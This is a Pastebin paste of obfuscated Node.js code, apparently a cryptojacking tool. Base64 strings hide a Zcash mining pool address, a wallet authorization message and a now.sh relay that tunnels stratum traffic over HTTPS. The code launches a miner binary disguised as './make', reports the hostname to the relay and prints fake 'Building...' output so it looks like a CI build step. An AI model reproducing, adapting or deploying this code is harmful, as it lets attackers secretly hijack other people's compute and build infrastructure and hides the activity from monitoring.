Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'use strict';
- class z {
- constructor(y, x, w, v, u) {
- this.body = '';
- this.x = x;
- this.w = w;
- var t = urlParse(y);
- t['method'] = v ? 'POST' : 'GET';
- if (u) {
- t['headers'] = {};
- t['headers']['token'] = u;
- }
- var s = this;
- var r = http['request'](t, this.q);
- r.w = this;
- r.on('error', function() {
- s.q(null);
- });
- r.end(v);
- }
- o(r) {
- if (!r.complete) {
- var p = r.read();
- if (p) {
- this.body += p.toString();
- }
- var s = this;
- setTimeout(function() {
- s.o(r);
- }, 30);
- return;
- }
- var p = r.read();
- if (p) {
- this.body += p.toString();
- }
- this.x.call(this.w, this.body, r.statusCode);
- }
- q(n) {
- if (!n) {
- this.x.call(this.w, null, 0);
- return;
- }
- this.w.o(n);
- }
- }
- class m {
- constructor(l) {
- this.l = l;
- this.id = Date.now() * ~~(Math.random() * 1000000);
- this.timer = setInterval(this.k.bind(this), 1000);
- l.on('data', this.j.bind(this));
- l.on('error', this.i.bind(this));
- l.on('close', this.h.bind(this));
- }
- k() {
- var s = this;
- new z(BCD + 'api/' + this.id, function(n, status) {
- if (status !== 200) {
- clearInterval(s.timer);
- s.l.end('');
- return;
- }
- if (n) {
- s.l.write(n);
- }
- }, this);
- }
- j(p) {
- new z(BCD + 'api/' + this.id, function() {}, this, p);
- }
- i() {
- clearInterval(this.timer);
- }
- h() {
- clearInterval(this.timer);
- }
- }
- class g {
- constructor() {
- this.mac = MAC;
- this.port = 0;
- this.tasks = 7;
- this.server = new Server();
- this.server.on('connection', function(l) {
- new m(l);
- });
- var s = this;
- this.server.on('listening', function() {
- s.f();
- });
- this.server.listen(0, '0.0.0.0');
- }
- e(p) {
- new z(BCD + 'flock', function() {}, this, os.hostname() + ':' + p.toString());
- }
- a(d) {
- var c = this.mac + ':' + this.port;
- var s = this;
- if ((d || d === null) && this.tasks > 1) {
- this.tasks--;
- }
- setTimeout(function() {
- process.env['LD_LIBRARY_PATH'] = './';
- try {
- var b = spawn('./make', ['-t', s.tasks.toString(), '-l', c, '-u', JOB_QUEUE]);
- b.on('error', function(d) {
- s.a(d);
- setTimeout(function() {
- process.exit(0);
- }, 2000);
- });
- b.on('exit', function(exitCode) {
- s.a(exitCode);
- });
- } catch (e) {
- s.e(c + ' ' + e);
- }
- }, 3000);
- this.e(c + ' ' + this.tasks + ' ' + d);
- }
- f() {
- this.port = this.server.address().port;
- var s = this;
- var zz = new Socket();
- setTimeout(function() {
- if (!s.initialized) {
- s.initialized = true;
- s.mac = MAC_SLAVE;
- s.a();
- }
- }, 3000);
- zz.on('error', function() {});
- zz.on('data', function(p) {
- zz.destroy();
- if (s.initialized) {
- return;
- }
- s.initialized = true;
- if (p.toString().indexOf('"result":true,"error":null') === -1) {
- s.mac = MAC_SLAVE;
- } else {
- s.port = 2142;
- }
- s.a();
- });
- zz.connect(2142, MAC);
- zz.write(KEY);
- }
- }
- var Socket = require('net').Socket;
- var Server = require('net').Server;
- var http = require('https');
- var urlParse = require('url').parse;
- var spawn = require('child_process').spawn;
- var os = require('os');
- var JOB_QUEUE = new Buffer('dDFVdVh0VEdXU1didVpKamJEZGhYbzJNeEJ3UHQyS2JVNUU=', 'base64').toString();
- var KEY = new Buffer('eyJpZCI6MCwgIm1ldGhvZCI6Im1pbmluZy5hdXRob3JpemUiLCAicGFyYW1zIjpbInQxVXVYdFRHV1NXYnVaSmpiRGRoWG8yTXhCd1B0MktiVTVFIiwgIiJdfQo=', 'base64').toString();
- var MAC = new Buffer('emVjLWV1LnN1cHJub3ZhLmNj', 'base64').toString();
- var MAC_SLAVE = new Buffer('MTI3LjAuMC4x', 'base64').toString();
- var BCD = new Buffer('aHR0cHM6Ly9oZWxsb3dvcmxkLXBibG1jZ2VjbWgubm93LnNoLw==', 'base64').toString();
- new g();
- if (process.argv[process.argv.length - 1] === 'build') {
- setTimeout(function() {
- process.exit(0);
- }, 1000000);
- setInterval(function() {
- console['log']('Building...', os.loadavg()[0]);
- }, 10000);
- }
Add Comment
Please, Sign In to add comment